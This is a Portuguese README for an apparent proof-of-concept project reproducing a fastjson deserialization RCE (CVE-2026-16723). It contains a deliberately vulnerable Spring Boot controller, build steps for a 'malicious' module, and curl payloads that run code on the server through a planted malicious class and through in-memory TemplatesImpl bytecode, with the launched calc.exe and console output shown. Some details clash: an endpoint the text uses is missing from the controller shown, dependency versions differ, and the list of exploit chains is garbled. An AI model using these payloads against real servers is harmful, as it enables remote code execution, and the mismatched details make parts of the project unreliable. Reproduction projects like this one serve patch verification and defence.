
Projeto de reprodução para CVE-2026-16723, uma RCE crítica no fastjson 1.2.68-1.2.83. Demonstra bypass de AutoType, injeção JNDI e payloads em memória TemplatesImpl com endpoints vulneráveis do Spring Boot.
Este projeto reproduz o CVE-2026-16723 — uma vulnerabilidade crítica de Execução Remota de Código (RCE) no fastjson 1.2.68 até 1.2.83. A vulnerabilidade permite RCE sob configuração padrão sem exigir a ativação do AutoType ou gadgets pré-existentes no classpath.
| Propriedade | Valor |
|---|---|
| ID do CVE | CVE-2026-16723 |
| Componente | fastjson |
| Versões Afetadas | 1.2.68 – 1.2.83 |
| Versões Corrigidas | 1.2.84+, 2.0.0+ |
| Tipo de Vulnerabilidade | Desserialização / RCE |
| Severidade | CVSS 3.1: 9.0 (CRÍTICA) |
| Vetor de Ataque | Rede |
| Complexidade | Baixa |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Nenhuma |
fastjson-cve-2026-16723/
├── pom.xml # Projeto principal (aplicação Spring Boot com fastjson vulnerável)
├── src/main/java/com/example/cve/
│ ├── FastjsonCveApplication.java # Ponto de entrada do Spring Boot
│ └── controller/
│ └── VulnerableController.java # Endpoints REST vulneráveis
├── malicious/ # Módulo separado: JAR malicioso para simulação de supply chain
│ ├── pom.xml
│ └── src/main/java/exploit/
│ ├── MaliciousClass.java # Classe maliciosa com inicializador estático
│ ├── EvilTranslet.java # Translet malicioso para modo em memória do TemplatesImpl
│ └── GenTemplatesPayload.java # Gera o payload JSON do TemplatesImpl
├── templates-payload.json # Payload TemplatesImpl gerado (variante direta)
├── templates-payload-preload.json # Payload TemplatesImpl gerado (variante de pré-carga de Classe)
├── target/
│ └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
└── malicious-jar-1.0.jar
O fastjson 1.2.68–1.2.83 contém uma bypass no mecanismo de proteção AutoType. Mesmo com configuração padrão (autoTypeSupport=false), atacantes podem instanciar classes arbitrárias via payloads JSON elaborados usando cadeias de exploração como:
java.lang.Class + com.sun.rowset.JdbcRowSetImpl (injeção JNDI)java.lang.Runtime (execução direta de comandos)@type: exploit.MaliciousClass)VulnerableController.java — dois endpoints demonstram o problema:
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// Vulnerável: JSON.parseObject com configuração padrão
// Nenhum ParserConfig.getGlobalInstance().setAutoTypeSupport(true) necessário!
JSONObject obj = JSON.parseObject(json);
return "Parsed: " + obj.toJSONString();
}
@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
// Força a desserialização para Object — dispara a instanciação real da classe
Object obj = JSON.parse(json);
return "Deserialized: " + obj.getClass().getName();
}
# Compilar a aplicação principal
mvn clean package -DskipTests
# Compilar o JAR malicioso (módulo separado)
cd malicious && mvn clean package && cd ..
target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — JAR fat do Spring Bootmalicious/target/malicious-jar-1.0.jar — JAR malicioso com exploit.MaliciousClassjava -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
O servidor inicia em http://localhost:8080
Requisito de runtime: este projeto tem como alvo o Java 8 e o modo em memória do TemplatesImpl é verificado no JDK 8. No JDK 9+ o sistema de módulos bloqueia o acesso reflexivo aos internals de
java.xml, então a cadeia falha comError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpla menos que você adicione as flags--add-opens:java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \ -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
O pom.xml principal declara o JAR malicioso como dependência, então ele é empacotado no JAR fat:
<dependency>
<groupId>exploit</groupId>
<artifactId>malicious-jar</artifactId>
<version>1</version>
</dependency>
Verifique em runtime:
curl http://localhost:8080/api/debug
curl http://localhost:8080/api/test
Esperado: CVE-2026-16723 Reproduction Endpoint Ready...
O módulo malicious fornece exploit.MaliciousClass com um inicializador estático que executa calc.exe no carregamento da classe.
curl -X POST http://localhost:8080/api/deserialize \
-H "Content-Type: application/json" \
-d '{"@type":"exploit.MaliciousClass"}'
Resultado:
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<
E o calc.exe é iniciado no servidor.
Nota: Isso demonstra um cenário de supply chain onde uma dependência maliciosa está presente no classpath. A vulnerabilidade permite a instanciação de qualquer classe no classpath, não apenas classes do JDK.
Diferente do modo de supply chain (que precisa da classe maliciosa no classpath) e do modo JNDI (que precisa de um servidor LDAP/RMI), este modo incorpora o bytecode malicioso diretamente no payload e o carrega da memória via com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — nada extra precisa ser implantado.
Passo 1 — gerar o payload:
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload
Isso compila exploit.EvilTranslet (uma subclasse de AbstractTranslet cujo inicializador estático executa calc.exe), codifica em base64 os bytes do .class e grava:
templates-payload.json — variante direta ("@type": "TemplatesImpl")templates-payload-preload.json — variante de pré-carga de java.lang.ClassPasso 2 — disparar o payload:
curl -X POST http://localhost:8080/api/deserialize-autotype \
-H "Content-Type: application/json" \
--data-binary @templates-payload.json
Resultado:
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<
E o calc.exe é iniciado no servidor.